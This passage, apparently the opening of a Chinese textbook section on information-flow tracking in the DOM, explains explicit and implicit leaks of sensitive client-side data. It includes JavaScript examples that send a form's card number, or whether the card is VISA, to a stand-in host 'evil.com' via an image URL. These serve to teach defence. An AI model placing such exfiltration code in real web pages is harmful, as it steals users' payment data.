14、动态树结构中的信息流动跟踪

动态树结构中的信息流动跟踪

1. DOM 相关攻击分析

在客户端安全领域，攻击者的目标往往是获取用户的敏感数据，如浏览器 cookie、表单输入、浏览历史等。客户端脚本能够访问这些数据，在表单验证等场景中，脚本会在客户端对数据进行验证。但我们需要关注脚本的保密性，防止其将敏感信息从秘密源泄露到公共汇。

• 显式和隐式信息流
  • 显式流 ：通过 URL 直接将秘密数据传递到公共汇，例如：

new Image().src = "http://evil.com/leak?secret=" + encodeURI(form.CardNumber.value);

- **隐式流**：通过控制流产生不同的副作用，将敏感信息暴露给攻击者。例如根据信用卡类型是否为 VISA 进行分支，通过 URL 传递敏感信息：

if (form.CardType.value == "VISA")
    new Image().src = "http://evil.com/leak?VISA=yes";
else
    new Image().src = "http://evil.com/leak?VISA=no";

• DOM 操作带来的攻击可能性